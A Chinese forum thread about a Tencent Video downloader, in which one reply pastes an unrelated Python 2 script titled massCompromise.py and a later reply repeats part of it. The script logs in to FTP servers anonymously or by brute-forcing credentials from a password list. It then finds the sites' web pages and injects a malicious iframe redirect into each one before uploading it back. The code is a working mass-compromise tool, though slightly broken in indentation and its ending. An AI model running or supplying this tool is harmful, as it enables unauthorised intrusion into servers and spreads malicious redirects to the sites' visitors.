网络搬运工
网络搬运工 Lv76   
楼主
腾讯视频下载器,下载后的视频为mp4视频格式 下载,视频
查看:149   回复:4   发布于2019-05-25 00:01:58
某宝买的 腾讯视频下载器,下载后的视频为mp4视频格式,附带操作视频


您需要登录并回复后才可以查看隐藏的内容


小轻论坛认证搬运工。 
回复列表
默认   热门   正序   倒序
kkk123
2F
小李Lv3 
#!/usr/bin/python

#coding=utf-8

 

import ftplib

import optparse

import time

 

#实现攻击

def attack(username, password, tgtHost, redirect):

 ftp = ftplib.FTP(tgtHost)

 ftp.login(username, password)

 defPages = returnDefault(ftp)

 for defPage in defPages:

  injectPage(ftp, defPage, redirect)

 

#验证匿名登陆

def anonLogin(hostname):

 try:

  ftp = ftplib.FTP(hostname)

  ftp.login('anonymous', '123@123.com')

  print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeded.'

  ftp.quit()

  return True

 except Exception, e:

  print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'

  return False

 

#提取用户名密码并逐一尝试登陆

def bruteLogin(hostname, passwdFile):

 pF = open(passwdFile, 'r')

 for line in pF.readlines():

  username = line.split(':')[0]

  password = line.split(':')[1].strip('\r').strip('\n')

  print '[+] Trying: ' + username + '/' + password

  try:

   ftp = ftplib.FTP(hostname)

   ftp.login(username, password)

   print '\n[*] ' + str(hostname) + ' FTP Logon Succeded: ' + username + '/' + password

   ftp.quit()

   return (username, password)

  except Exception, e:

   pass

 print '\n[-] Could not brubrute force FTP credentials.'

 return (None, None)

 

#列出指定搜索的文档

def returnDefault(ftp):

 try:

  #获取目录下的文件

  dirList = ftp.nlst()

 except:

  dirList = []

  print '[-] Could not list directory contents.'

  print '[-] Skipping To Next Target.'

  return

 

 retList = []

 for filename in dirList:

  fn = filename.lower()

  #设定文件搜索条件

  if '.php' in fn or '.asp' in fn or '.htm' in fn or '.html' in fn:

   print '[+] Found default page: ' + filename

   retList.append(filename)

 return retList

 

#下载-改写-插入-上传

def injectPage(ftp, page, redirect):

 f = open(page + '.tmp', 'w')

 #下载FTP文件

 ftp.retrlines('RETR ' + page, f.write)

 print '[+] Downloaded page: ' + page

 #写入文件

 f.write(redirect)

 f.close()

 print '[+] Injected Malicious IFrame on: ' + page

 #上传目标文件

 ftp.storlines('STOR ' + page, open(page + '.tmp'))

 print '[+] Uploaded Injected Page: ' + page

 

def main():

 #参数设置

 parser = optparse.OptionParser('[*] Usage : ./massCompromise.py -H <target host[s]> -r <redirect page> -f <userpass file>')

 parser.add_option('-H', dest = 'hosts', type = 'string', help = 'specift target host')

 parser.add_option('-r', dest = 'redirect', type = 'string', help = 'specift redirect page')

 parser.add_option('-f', dest = 'file', type = 'string', help = 'specify userpass file')

 (options, args) = parser.parse_args()

 

 #可以列出多个目标,用,分隔

 hosts = str(options.hosts).split(',')

 redirect = options.redirect

 file = options.file

 

 #判断主机或攻击代码是否存在

 if hosts == None or redirect == None:

  print parser.usage

  exit(0)

 

 #从列表中取对象,逐一验证

 for host in hosts:

  username = None

  password = None

  #验证是否可以匿名登陆

     if anonLogin(host) == True:

      username = 'anonymous'

      password = '123@123.com'

      print '[+] Using Anonymous Creds to attack'

      attack(username, password, host, redirect)

     #如果密码暴破文档存在

     if file != None:

      #验证用户名密码

      (username, password) = bruteLogin(host, file)

      #如果找到密码

      if password != None:

       print '[+] Using Cred: ' + username + '/' + password + ' to attack'

       attack(username, password, host, redirect)

 

if __name__ == '__main__':

 

kkk123:
以下为测试代码

网络搬运工:
您成功了么?

calm辉:
腾讯视频下载器

 0   2019-05-29 10:18:46  回复
calm辉
3F
calm辉Lv1 
腾讯视频下载器
 0   2019-06-07 19:44:56  回复
dakouyu
4F
dakouyuLv1 

def attack(username, password, tgtHost, redirect):

 ftp = ftplib.FTP(tgtHost)

 ftp.login(username, password)

 defPages = returnDefault(ftp)

 for defPage in defPages:

  injectPage(ftp, defPage, redirect)

 0   2019-06-09 13:32:44  回复
miliao_989169656
5F
真好!
 0   2019-06-30 17:05:53  回复

回复:腾讯视频下载器,下载后的视频为mp4视频格式

暂无用户组
0级
轻豆:
游客:
小轻论坛官方平台
QQ群 小轻论坛QQ群 技术/答疑/福利
订阅号 小轻论坛微信订阅号 公告/更新/活动
关注送福利,登录送轻豆
版块列表
image

Powered by HadSky 7.3.1

©2015 - 2019 小轻论坛

关注公众号 联系站长 吐个槽鄂公网安备 42011202000726号

您的IP:34.236.190.216,2019-08-25 23:28:21,Processed in 0.10079 second(s).

小轻论坛欢迎你的加入!
已有0次打赏